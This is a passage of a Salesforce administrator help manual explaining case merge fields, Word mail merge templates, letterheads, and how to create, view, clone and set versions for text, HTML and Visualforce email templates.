recent emails appear at the top of the thread. The thread inserts the text
version of the emails. You cant use this merge field in Visualforce pages.
The limits for the email thread are:
Maximum number of emails: 200
Email body truncation size: 32 KB

463

Divisions

Managing Templates

Field

Merge Field

Description

Solution
Attachments

Case.Solution_Attachments Attachments for the case solution. See Adding Attachments on page 289 and

Suggested
Solutions

Case.Suggested_Solutions Links to the subject and description of each suggested solution that may help

Guidelines on Sending Email on page 260.


customers solve their issues.
Note: Sending mass emails using templates with the suggested
solutions merge field could take several minutes and is not
recommended.

Case Thread
Id

Case.Thread_Id

A unique identifier for the case email thread in Email-to-Case. The thread
ID is the unique ID of each case email, such as
[ref:_DV0Txx._500V0U9YB:ref]. By default, the thread ID is added to both
the subject and body of case emails. The default location for the thread ID
is at the end of the body. Use this merge field to position it elsewhere in the
body. See Enabling and Configuring Email-to-Case on page 1373.

Notes on Merge Fields for Cases


Merge fields for entitlements on cases
Merge fields for entitlements on cases aren't supported. For example, if you add the Entitlement Name
{!Case.Entitlement} merge field to an email template, the field is not populated on the template.
Merge fields for Email-to-Case or On-Demand Email-to-Case
If you have enabled Email-to-Case or On-Demand Email-to-Case, you can create email templates that support agents
can use to respond to case emails. These templates can include merge fields that display information from the original
email in the response. See Setting Up Email-to-Case or On-Demand Email-to-Case on page 1371 and Managing Email
Templates on page 472.
Merge fields for Web-to-Case
To reference the name, email, phone, or company of the customer who submitted an online case with Web-to-Case,
use the relevant {!Case_OnlineCustomer...} field. To reference the contact or account associated with a case, use
the relevant contact or account merge fields. See Capturing Web Cases on page 1384.

See Also:
Merge Fields Overview
Managing Mail Merge Templates

464

Divisions

Managing Mail Merge Templates

Managing Mail Merge Templates


Available in: All Editions except Database.com

User Permissions Needed


To upload mail merge templates:

Manage Public Templates

To edit mail merge templates:

Manage Public Templates

Mail merge templates define the content of a form letter or other mail merge document. They include variables called merge
fields where data from your recordsfor example a contact's name and addressdisplays in the generated document.
As an administrator, you are responsible for building mail merge templates in Microsoft Word and uploading them to Salesforce
to make them available for your users. See the following topics:

Creating New Mail Merge Templates explains how to build a new mail merge template from a blank Word document.
Modifying Existing Mail Merge Templates explains how to download sample templates and modify them to meet your
unique business needs.
Uploading Mail Merge Templates to Salesforce explains how to upload completed mail merge templates to Salesforce.
Tip: Click the following link to download a Zip file of sample mail merge templates: mm_templates.zip

See Also:
Mail Merge Overview
Sending Single Mail Merge Documents

Creating New Mail Merge Templates


Available in: All Editions except Database.com

User Permissions Needed


To upload mail merge templates:

Manage Public Templates

To edit mail merge templates:

Manage Public Templates

1. Open a new blank document in Microsoft Word 2002, 2003, or 2007.


2. Use Word to compose the document so it contains the text, data, and formatting your users require.

465

Divisions

Managing Mail Merge Templates

3. Locate the text or data variables in your Word document that will change each time the template is used. For example, in
the salutation Dear Bob, Bob is a variable because it will change when the letter is sent to a different person.
4. Replace each variable with the appropriate Salesforce merge field.
Important:
Each mail merge field label you use must be unique.

If you have Connect for Office, you can use Word integration to insert merge fields quickly.
If you do not have Connect for Office:
a. Place your cursor where you want to insert a merge field.
b. In Word 2003 and earlier, select Insert and then Field from the Word menu bar. In Word 2007, select the Insert
tab on the Ribbon, click Quick Parts in the Text group, and then click Field.
c. Select Mail Merge in the Categories drop-down list.
d. Select MergeField in the Field names box.
e. In the Field Properties area of the Field name box, manually enter the valid Salesforce merge field, such as
Opportunity_LineItem_ProductName.
f. Click OK.
Note: To list information about all products associated with an opportunity, insert the
Opportunity_LineItem_Start merge field where you want to begin listing product information. Then,
insert all the merge fields you want to include for each product on an opportunity. Finally, insert the
Opportunity_LineItem_End to end the list.

5. Save your Word document.


6. Proceed to Uploading Mail Merge Templates to Salesforce on page 468.
Tip: For best results:

Do not configure mail merge templates as protected or restricted access in Microsoft Word. Please refer to
Word's help for information about protected Word documents. (In Word, press F1 to open help.)
Do not connect mail merge templates to external data sources such as Excel worksheets or Access databases. Please
refer to Word's help for information about restoring mail merge documents to what Word calls normal Word
documents.
For details on how to set up your template with these tips in mind, refer to Guidelines for Uploading Mail Merge
Templates.

See Also:
Managing Mail Merge Templates
Mail Merge Overview
Force.com Connect for Microsoft Office Overview

466

Divisions

Managing Mail Merge Templates

Modifying Existing Mail Merge Templates


Available in: All Editions except Database.com

User Permissions Needed


To upload mail merge templates:

Manage Public Templates

To edit mail merge templates:

Manage Public Templates

1.
2.
3.
4.

Download the sample mail merge templates and unzip the files to a convenient directory on your hard drive.
Review the instructions provided in salesforce_mailmerge_templates_howto.doc.
Open the desired sample template in Microsoft Word.
Save a copy of the sample template to your computer's desktop or other convenient location:

Word 2000, XP, and 2003 users, select Save As from the File menu then choose an appropriate file name and destination
folder.
Word 2007 users, select Save As from the Office button then choose an appropriate file name and destination folder.

5. Optionally, customize the text and formatting of the template.


6. Press ALT+F9 to display the hidden mail merge field codes.
Each of the mail merge fields should now appear in curly braces as follows: {MERGEFIELD Contact_FullName \*
MERGEFORMAT}

7. Change or add merge fields as necessary.

If you have Connect for Office, you can use Word integration to insert merge fields quickly.
If you do not have Connect for Office:
a. Place your cursor where you want to insert a merge field.
b. In Word 2003 and earlier, select Insert and then Field from the Word menu bar. In Word 2007, select the Insert
tab on the Ribbon, click Quick Parts in the Text group, and then click Field.
c. Select Mail Merge in the Categories drop-down list.
d. Select MergeField in the Field names box.
e. In the Field Properties area of the Field name box, manually enter the valid Salesforce merge field, such as
Opportunity_LineItem_ProductName.
f. Click OK.
Note: To list information about all products associated with an opportunity, insert the
Opportunity_LineItem_Start merge field where you want to begin listing product information. Then,
insert all the merge fields you want to include for each product on an opportunity. Finally, insert the
Opportunity_LineItem_End to end the list.

8. Save your Word document.


9. Proceed to Uploading Mail Merge Templates to Salesforce on page 468.

467

Divisions

Managing Mail Merge Templates

Tip: For best results:

Do not configure mail merge templates as protected or restricted access in Microsoft Word. Please refer to
Word's help for information about protected Word documents. (In Word, press F1 to open help.)
Do not connect mail merge templates to external data sources such as Excel worksheets or Access databases. Please
refer to Word's help for information about restoring mail merge documents to what Word calls normal Word
documents.
For details on how to set up your template with these tips in mind, refer to Guidelines for Uploading Mail Merge
Templates.

See Also:
Managing Mail Merge Templates
Merge Fields Overview
Mail Merge Overview
Force.com Connect for Microsoft Office Overview

Uploading Mail Merge Templates to Salesforce


Available in: All Editions except Database.com

User Permissions Needed


To upload mail merge templates:

Manage Public Templates

To edit mail merge templates:

Manage Public Templates

Administrators and users with the Manage Public Templates permission must upload completed Microsoft Word mail
merge templates to Salesforce to make them available for use.
Tip: Before uploading a template, we recommend reviewing Guidelines for Uploading Mail Merge Templates.

1. In Salesforce, click Your Name > Setup > Communication Templates > Mail Merge Templates.
2. Click New Template.
3. Enter a name and description for the template. This will help users correctly choose a template when generating mail
merge documents.
If your organization uses Extended Mail Merge, choose the appropriate document type: Document, Label, or Envelope.
Extended Mail Merge is available by request only. Contact salesforce.com Customer Support if you are interested in this
feature.
4. Click Browse to select your Word mail merge template.

468

Divisions

Using Letterheads

5. Click Save to finish.

See Also:
Managing Mail Merge Templates
Merge Fields Overview
Mail Merge Overview

Using Letterheads
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change letterheads:

Manage Letterheads

A letterhead defines the logo, page color, and text settings for your HTML email templates. For best results, create a single
letterhead to use for all your HTML email templates. You can create letterheads and make them available organization-wide.
To use letterheads, click Your Name > Setup > Communication Templates > Letterheads.
From the Letterheads list page:

To view a letterhead, select the name from the list.


To edit a letterhead, click the name from the list and choose one of the edit options: Edit Properties or Edit Letterhead.
To delete a letterhead, click Del next to the name. You cannot delete a letterhead that is used in any HTML email templates.

See Also:
Creating Letterheads
Letterhead Fields

Creating Letterheads
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change letterheads:

Manage Letterheads

Letterheads define the look and feel of your HTML email templates. Your HTML email templates can inherit the logo, color,
and text settings from a letterhead. A letterhead consists of properties and details. The properties are only visible inside your

469

Divisions

Using Letterheads

organization; they help users identify a letterhead. The details are applied to an email when using that letterhead. Use the
letterhead wizard to create both the properties and details of your letterhead.
1. Click Your Name > Setup > Communication Templates > Letterheads.
2. Click New Letterhead.

Setting Letterhead Properties


1. Check Available For Use if you would like users to be able to use the new letterhead immediately.
2. Enter a Letterhead Label. The label is used to refer to the letterhead on user interface pages.
3. If necessary, change the Letterhead Unique Name. This is a unique name used to refer to the component when using
the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Letterhead
Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected
in a subscriber's organization.
4. Enter a description for this letterhead. The name and description fields are for internal use only to describe the letterhead
to other users.
5. Click Save. The letterhead detail page appears.

Setting Letterhead Details


1. Set the attributes for the letterhead.

Click Edit Background Color, and enter a color for the background of your letterhead. Click the color picker button
to choose a color.
Click Edit Header Properties, and select the color, alignment, and height for the top section of the letterhead.
Click Select Logo to include an image of your company logo in the top or bottom section of the letterhead. To select
an image, choose a folder, and click the document name to attach the document. Alternatively, click Search in
Documents, and enter the file name to search for documents by name. Make sure the document you select is marked
as Externally Available on the Documents tab so that a user who does not have a Salesforce username and
password can view the image when it is received in an email.
Click Remove Logo to delete the image from the letterhead.
Click Edit Top Line, and enter a color and height for a horizontal line below the header. Click the color picker button
to choose a color.
Click Edit Body Colors, and enter the background color for the main body of your letterhead.
Click Edit Middle Line, and enter a color and height for the middle border in your letterhead. Click the color picker
button to choose a color.
Click Edit Footer Properties, and select a color, alignment, and height for the bottom section of the letterhead.
Click Edit Bottom Line, and select a color and height of a bottom horizontal line. Click the color picker button to
choose a color.

2. Optionally, click Preview to display the letterhead in a separate browser window.


3. Click Save.
To create an HTML email template that contains the settings in your letterhead, see Creating HTML Email Templates on
page 476.

See Also:
Managing Email Templates
Creating Custom HTML Email Templates

470

Divisions

Using Letterheads

Letterhead Fields
Here is a description, in alphabetical order, of the fields that appear on the Letterhead Detail page.
Field

Description

Available For Use

Check mark that indicates the letterhead can be applied to an


HTML template.

Created By

Name of the user who created the letterhead, including the


date and time.

Description

Text that helps distinguish this letterhead from others.

Letterhead Label

Internal name to identify the letterhead.

Letterhead Unique Name

This is a unique name used to refer to the component when


using the Force.com API. In managed packages, this unique
name prevents naming conflicts on package installations. This
name can contain only underscores and alphanumeric
characters, and must be unique in your organization. It must
begin with a letter, not include spaces, not end with an
underscore, and not contain two consecutive underscores.
With the Letterhead Unique Name field, a developer can
change certain components' names in a managed package and
the changes are reflected in a subscriber's organization.

Modified By

Name of the user who last modified the letterhead, including


the date and time.

Namespace Prefix

The namespace prefix used by the email template within the


API.

See Also:
Creating Letterheads

471

Divisions

Managing Email Templates

Managing Email Templates


Available in: All Editions except Database.com
Mass email not available in: Personal, Contact Manager, and Group Editions
HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed


To create or change HTML email templates:

Edit HTML Templates

To create or change Visualforce email templates:

Customize Application

To create or change public email template folders:

Manage Public Templates

You can create four different types of email templates:

Text - All users can create or change text email templates. See Creating Text Email Templates on page 475.
HTML with letterhead - Administrators and users with the Edit HTML Templates permission can create HTML
email templates based on a letterhead. See Creating HTML Email Templates on page 476.
Custom HTML - Administrators and users with the Edit HTML Templates permission can create custom HTML
email templates without using a letterhead. You must either know HTML or obtain the HTML code to insert in your
email template. See Creating Custom HTML Email Templates on page 482.
Visualforce - Administrators and developers can create templates using Visualforce. Visualforce email templates allow for
advanced merging with a recipient's data, where the content of a template can contain information from multiple records.
See Creating Visualforce Email Templates.

All of these email templates can include text, merge fields, and attached files. You can also include images on your HTML
and Visualforce templates. You can use email templates when you send an email from the Activity History related list of a
record. Text and HTML templates can also be used when you send mass email. A button to check the spelling of your template
is available for text templates and Visualforce templates without HTML tags.
Note: You cant send a mass email using a Visualforce email template.

To manage your personal email templates, click Your Name > Setup > Email > My Templates. If you have permission to
manage public email templates, click Your Name > Setup > Communication Templates > Email Templates.

Click on the name of any email template to go to the Viewing Email Templates page.
To edit or delete a template, click Edit or Del next to the template name in the list.
Click New Template to create any type of email template.
Note: Email templates used in the following features must be both public and active:

Web-to-Lead
Web-to-Case
Email-to-Case or On-Demand Email-to-Case
Assignment rules

472

Divisions

Managing Email Templates

Escalation rules
Auto-response rules

See Also:
Cloning Email Templates
Using Letterheads
Developer's Guide: Visualforce Developer's Guide
Administrator tip sheet: Tips for Using HTML Email Templates

Viewing Email Templates


Available in: All Editions except Database.com
Mass email not available in: Personal, Contact Manager, and Group Editions
HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed


To create or change HTML email templates:

Edit HTML Templates

To create or change Visualforce email templates:

Customize Application

To create or change public email template folders:

Manage Public Templates

To view a template, click the template name in the list. The options vary depending on the template type (custom, HTML,
Visualforce, or text):

For text templates, click Edit to change the message content, subject, or merge fields.
For custom and HTML templates:
Click Edit HTML Version to change the content or merge fields of the HTML version.
Note: All custom and HTML email templates include a text-only version for recipients who are unable to
view HTML emails. If you leave the text-only version blank, the text-only version is automatically generated
when you edit the HTML version.
Click Edit Text Version to change the content or merge fields of the text-only version.
Caution: Salesforce.com recommends that you leave the text-only version blank. If you leave it blank, Salesforce
automatically creates the text-only content based on the current HTML version. If you don't leave the text-only
version blank and instead manually enter content, subsequent edits to the HTML version aren't reflected in
the text-only version.

For Visualforce templates:

473

Divisions

Managing Email Templates

Click Edit Template to change the markup of the template page.


The Visualforce Attachments related list indicates which attachments are being generated through Visualforce markup.
If the Visualforce markup references components in installed managed packages, such as another class, a trigger, a
custom object, and so on, the Version Settings related list shows the package versions of the installed managed packages
containing the referenced components.
If the email template includes encrypted data, keep in mind that the data displays encrypted within the generated email
and when viewing the Visualforce template page. It doesn't display in plain text for security purposes.

Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you choose
and send a test email.
Click Attach File from the Attachments related list to add an attachment to the template. The attached file is included
in every email that uses the template.
To select a file:
Click the Search in Documents link to search for files in the Documents tab. If you select an image logo or other
graphic file, make sure the document is marked as Externally Available on the Documents tab so all email
recipients can view the image.
Alternatively, choose an option from the File Location drop-down list to select a file from your computer or from a
document folder.

If you have the Manage Public Templates permission, you can click [Change] next to the Author field to select a
different author. Initially, the author is the person who created the email template.
Click Delete to remove the template.
Click Clone to clone a template. For more information, see Cloning Email Templates on page 484.
If Developer Mode is enabled, click Show Dependencies to see what components the template references. For more
information, see Understanding Dependencies on page 1970.

See Also:
Managing Email Templates
Email Template Fields
Managing Version Settings for Visualforce Email Templates

474

Divisions

Managing Email Templates

Creating Text Email Templates


Available in: All Editions except Database.com
Mass email not available in: Personal, Contact Manager, and Group Editions
HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed


To create or change public email template folders:

Manage Public Templates

To create a text email template:


1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name
> Setup > Communication Templates > Email Templates.
2. Click New Template.
3. Choose the Text template type, and click Next.
4. Choose a folder in which to store the template.
5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
6. Enter an Email Template Name.
7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using
the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template
Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected
in a subscriber's organization.
8. Select an Encoding setting to determine the character set for the template.
9. Enter a Description for the template. Both template name and description are for internal use only.
10. Enter the Subject for the message.
11. Enter the text to appear in the message.
12. Optionally, enter merge fields in the template subject and text body. These fields will be replaced with information from
your records when you send an email. For details about using merge fields, see Merge Fields Overview on page 460.
13. Click Save.
Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records
you choose and send a test email.

Attaching Files to Templates


To add an attachment to a template:
1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name
> Setup > Communication Templates > Email Templates.
2. Select a template.
3. Click Attach File from the email template detail page.

475

Divisions

Managing Email Templates

4. Choose a folder and click the document name to attach the document, or click Search in Documents and enter the file
name to search for a document by name.
Alternatively, click My Computer to attach a file from your computer.
The attached file is included in every email that uses the template. Note that attachments in mass emails are sent as links
rather than as physical files (see Sending Mass Email on page 264).

See Also:
Managing Email Templates
Creating HTML Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates
Cloning Email Templates

Creating HTML Email Templates


Available in: All Editions except Database.com
Mass email not available in: Personal, Contact Manager, and Group Editions
HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed


To create or change HTML email templates:

Edit HTML Templates

To create or change public email template folders:

Manage Public Templates

To create an HTML email template:


1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name
> Setup > Communication Templates > Email Templates.
2. Click New Template.
3. Choose HTML (using Letterhead) and click Next.
4. Choose a folder in which to store the template.
5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
6. Enter an Email Template Name.
7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using
the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template
Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected
in a subscriber's organization.
8. Select a Letterhead. The letterhead decides the logo, page color, and text settings of your email.

476

Divisions

Managing Email Templates

9. Select the Email Layout. The email layout determines the columns and page layout of the message text. Click View
Email Layout Options to see samples.
10. Select an Encoding setting to determine the character set for the template.
11. Enter a Description of the template. Both template name and description are for your internal use only. The description
is used as the title of any email activities you log when sending mass email.
12. Click Next.
13. Enter the Subject to appear in the email you send.
14. Enter the text to appear in the message you send. Click any section and begin entering text for your message. To prevent
users from editing a section when using this template, click the padlock icon.
15. Change the style of your text by selecting the text and using the format toolbar. See Using the Format Toolbar on page
481 for instructions on the format toolbar.
16. Optionally, enter merge fields in the template subject and body. These fields will be replaced with information from your
lead, contact, account, opportunity, case, or solution when you send an email. For details about using merge fields, see
Merge Fields Overview on page 460.
17. Click Next.
18. Optionally, enter the text-only version of your email or click Copy text from HTML version to automatically paste the
text from your HTML version without the HTML tags. The text-only version is available to recipients who are unable
to view HTML emails.
Caution: Salesforce.com recommends that you leave the text-only version blank. If you leave it blank, Salesforce
automatically creates the text-only content based on the current HTML version. If you don't leave the text-only
version blank and instead manually enter content, subsequent edits to the HTML version aren't reflected in the
text-only version.
19. Click Save.
Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records
you choose and send a test email.

See Also:
Creating Text Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates
Cloning Email Templates
Creating Letterheads
Adding Images to Email Templates
Cloning Email Templates

477

Divisions

Managing Email Templates

Creating Visualforce Email Templates


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Mass email not available in: Personal, Contact Manager, and Group Editions

User Permissions Needed


To create or change Visualforce email templates:

Customize Application

To create or change public email template folders:

Manage Public Templates

To create a Visualforce email template:


1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name
> Setup > Communication Templates > Email Templates.
2. Click New Template.
3. Choose Visualforce and click Next.
You cant send a mass email using a Visualforce email template.
4.
5.
6.
7.

Choose a folder in which to store the template.


Select the Available For Use checkbox if you would like this template offered to users when sending an email.
Enter an Email Template Name.
If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using
the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template
Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected
in a subscriber's organization.
8. Select an Encoding setting to determine the character set for the template.
9. Enter a Description of the template. Both template name and description are for your internal use only.
10. Enter the subject line for your template in Email Subject.
11. In the Recipient Type drop-down list, select the type of recipient that will receive the email template.
12. In the Related To Type drop-down list, optionally select the object from which the template will retrieve merge field
data.
13. Click Save.
14. On the Viewing Email Templates page, click Edit Template.
15. Enter markup text for your Visualforce email template.
Note: If you are including an image, we recommend uploading it to the Documents tab so that you can reference
the copy of the image that is on our server. For example:
<apex:image id="Logo" value="https://na7.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=127057656800"
height="64" width="64"/>

478

Divisions

Managing Email Templates

16. Click Version Settings to specify the version of Visualforce and the API used with this email template. If your organization
has installed managed packages from the AppExchange, you can also specify which version of each managed package to
use with this email template. Generally, you should use the default value for all versions. This associates the email template
with the most recent version of Visualforce, the API, as well as each managed package. You can specify an older version
of Visualforce and the API to maintain specific behavior. You can specify an older version of a managed package if you
want to access components or functionality that differs from the most recent package version.
17. Click Save to save your changes and view the details of the template, or click Quick Save to save your changes and continue
editing your template. Your Visualforce markup must be valid before you can save your template.
Note: The maximum size of a Visualforce email template is 1 MB.
You cant send a mass email using a Visualforce email template. The merge fields
{!Receiving_User.field_name} and {!Sending_User.field_name} work only for mass email and are
unavailable in Visualforce email templates.
Tip:

Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you
choose and send a test email. If the email template includes encrypted data, keep in mind that the data displays
encrypted within the generated email and when viewing the Visualforce template page. It doesn't display in plain
text for security purposes.
To translate Visualforce email templates based on recipients' or related objects' languages, use the
<messaging:emailTemplate> tag's language attribute (valid values: Salesforce supported language keys, for
example, en-US). The language attribute accepts merge fields from the email template's recipientType and
relatedToType attributes. You create custom language fields for use in the merge fields. The Translation
Workbench is required to translate email templates.

See Also:
Visualforce Overview
Managing Version Settings for Visualforce Email Templates
Adding Images to Email Templates
Creating Text Email Templates
Creating HTML Email Templates
Creating Custom HTML Email Templates
Viewing Email Templates
Cloning Email Templates
Creating Letterheads
Cloning Email Templates
Developer's Guide: Visualforce Developer's Guide

479

Divisions

Managing Email Templates

Managing Version Settings for Visualforce Email Templates


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Mass email not available in: Personal, Contact Manager, and Group Editions

User Permissions Needed


To set version settings for Visualforce email templates:

Customize Application

To aid backwards-compatibility, each Visualforce email template is saved with version settings for the specified version of
Visualforce and the API. If the Visualforce email template references installed managed packages, the version settings for each
managed package referenced by the Visualforce component are saved too. This ensures that as Visualforce, the API and the
components in managed packages evolve in subsequent versions, a Visualforce email template is still bound to versions with
specific, known behavior.
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release. Publishers can use package
versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without
breaking existing customer integrations using the package.
To set the Salesforce API and Visualforce version for an existing Visualforce email template:
1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name
> Setup > Communication Templates > Email Templates.
2. Click the Email Template Name for the Visualforce email template.
3. Click Edit Template and then click Version Settings.
4. Select the Version of the Salesforce API. This is also the version of Visualforce used with this template.
5. Click Save.
To configure the package version settings for a Visualforce email template:
1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name
> Setup > Communication Templates > Email Templates.
2. Click the Email Template Name for the Visualforce email template.
3. Click Edit Template and then click Version Settings.
4. Select a Version for each managed package referenced by the Visualforce email template. This version of the managed
package will continue to be used by the Visualforce email template if later versions of the managed package are installed,
unless you manually update the version setting. To add an installed managed package to the settings list, select a package
from the list of available packages. The list is only displayed if you have an installed managed package that is not already
associated with the Visualforce email template.
5. Click Save.
Note the following when working with package version settings:

If you save a Visualforce email template that references a managed package without specifying a version of the managed
package, the Visualforce email template is associated with the latest installed version of the managed package by default.

480

Divisions

Managing Email Templates

You cannot Remove a Visualforce email template's version setting for a managed package if the package is referenced by
the Visualforce email template.

See Also:
Creating Visualforce Email Templates
Creating Text Email Templates
Creating HTML Email Templates
Creating Custom HTML Email Templates
Viewing Email Templates
Cloning Email Templates
Cloning Email Templates
Developer's Guide: Visualforce Developer's Guide

Using the Format Toolbar


Use the formatting toolbar to edit text in HTML. Select the text you wish to format and click the appropriate option described
below:
Option

Description

Font

Choose a character style. Select the text you want applied to a font and then choose the appropriate
font.

Size

Choose a character size. Select the text you want applied to the size and then choose the size.
Insert a graphic from the documents library. This option is not available when doing some actions
such as creating custom home page components.
Choose a background color
Choose a font color
Make text bold
Make text italic
Underline text
Insert a new hyperlink or edit an existing link. Select the text you want to link, click this button,
and enter the URL for the link. To use a merge field such as {!Case_Link} as the destination of
the link, insert the merge field after the http://.
Left justify text
Center text
Right justify text
Bullet a list

481

Divisions

Option

Managing Email Templates

Description
Number a list
Increase text indent
Decrease text indent

Creating Custom HTML Email Templates


Available in: All Editions except Database.com
Mass email not available in: Personal, Contact Manager, and Group Editions
HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed


To create or change custom HTML email templates:

Edit HTML Templates

To create or change public email template folders:

Manage Public Templates

To create a custom HTML email template:


1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name
> Setup > Communication Templates > Email Templates.
2. Click New Template.
3. Choose Custom (without using Letterhead) and click Next.
4. Choose a folder in which to store the template.
5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
6. Enter an Email Template Name.
7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using
the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template
Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected
in a subscriber's organization.
8. Select an Encoding setting to determine the character set for the template.
9. Enter a Description of the template. Both template name and description are for your internal use only. The description
is used as the title of any email activities you log when sending mass email.
10. Click Next.
11. Enter the Subject to appear in the email you send.
12. Enter the HTML source text to appear in the message you send. This should include all the HTML tags.

482

Divisions

Managing Email Templates

Note: If you are including an image, we recommend uploading it to the Documents tab so that you can reference
the copy of the image that is on our server. For example:
<img src="https://na2.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=1270576568000" alt="Company Logo"
height="64" width="64"/>

13. Optionally, enter merge fields in the template subject and body. These fields will be replaced with information from your
lead, contact, account, opportunity, case, or solution when you send an email. For details about using merge fields, see
Merge Fields Overview on page 460.
14. Click Next.
15. Optionally, enter the text-only version of your email or click Copy text from HTML version to automatically paste the
text from your HTML version without the HTML tags. The text-only version is available to recipients who are unable
to view HTML emails.
Caution: Salesforce.com recommends that you leave the text-only version blank. If you leave it blank, Salesforce
automatically creates the text-only content based on the current HTML version. If you don't leave the text-only
version blank and instead manually enter content, subsequent edits to the HTML version aren't reflected in the
text-only version.
16. Click Save.
Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records
you choose and send a test email.
Note: Users cannot modify the content of a custom HTML template when they select it for use in an email.

See Also:
Adding Images to Email Templates
Creating Text Email Templates
Creating HTML Email Templates
Creating Visualforce Email Templates
Creating Letterheads
Cloning Email Templates

483

Divisions

Managing Email Templates

Cloning Email Templates


Available in: All Editions except Database.com
Mass email not available in: Personal, Contact Manager, and Group Editions
HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed


To create or change HTML email templates:

Edit HTML Templates

To create or change Visualforce email templates:

Customize Application

To create or change public email template folders:

Manage Public Templates

Cloning an email template involves saving an existing email template with a new name. To clone an email template:
1. To manage your personal email templates, click Your Name > Setup > Email > My Templates. If you have permission
to manage public email templates, click Your Name > Setup > Communication Templates > Email Templates.
2. Click the name of an email template in the list.
3. Click Clone.
4. Choose a folder in which to store the template.
5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
6. Enter an Email Template Name.
7. Enter a Description for the template. Both template name and description are for internal use only.
8. Click Save.

See Also:
Managing Email Templates
Creating HTML Email Templates
Creating Text Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates

484

Divisions

Managing Email Templates

Adding Images to Email Templates


Available in: All Editions except Database.com
Mass email not available in: Personal, Contact Manager, and Group Editions
HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed


To create or change HTML email templates:

Edit HTML Templates

To create or change Visualforce email templates:

Customize Application

To create or change public email template folders:

Manage Public Templates

You can include images or logos on your HTML and Visualforce email templates. For HTML with letterhead templates,
logos or images come from the letterhead you choose when creating the template.
When creating custom HTML or Visualforce templates, simply include img tags that reference the image. We recommend
uploading the images to the Documents tab and referencing the copy of the image on the Salesforce server. For example, for
HTML:
<img src="https://na2.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=1270576568000" alt="Company Logo"
height="64" width="64"/>

Visualforce example:
<apex:image id="Logo" value="https://na7.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=127057656800"
height="64" width="64"/>

See Also:
Creating HTML Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates

Email Template Fields


An email template has the following fields, listed in alphabetical order.
Field

Description

API Version

(Visualforce email templates only) Displays the version number


of the Force.com API the template was created under.

485

Divisions

Managing Email Templates

Field

Description

Author

The person who created the template.

Available for Use

Indicates if users can use the template when sending emails.

Created By

The name of the user who created the template.

Description

Description of the template. This text is used as the title of


any activities logged when sending mass email. The Activity
History item displays as Mass Email: {Template
Description}.

Template Unique Name

This is a unique name used to refer to the component when


using the Force.com API. In managed packages, this unique
name prevents naming conflicts on package installations. This
name can contain only underscores and alphanumeric
characters, and must be unique in your organization. It must
begin with a letter, not include spaces, not end with an
underscore, and not contain two consecutive underscores.
With the Template Unique Name field, a developer can
change certain components' names in a managed package and
the changes are reflected in a subscriber's organization.

Email Layout

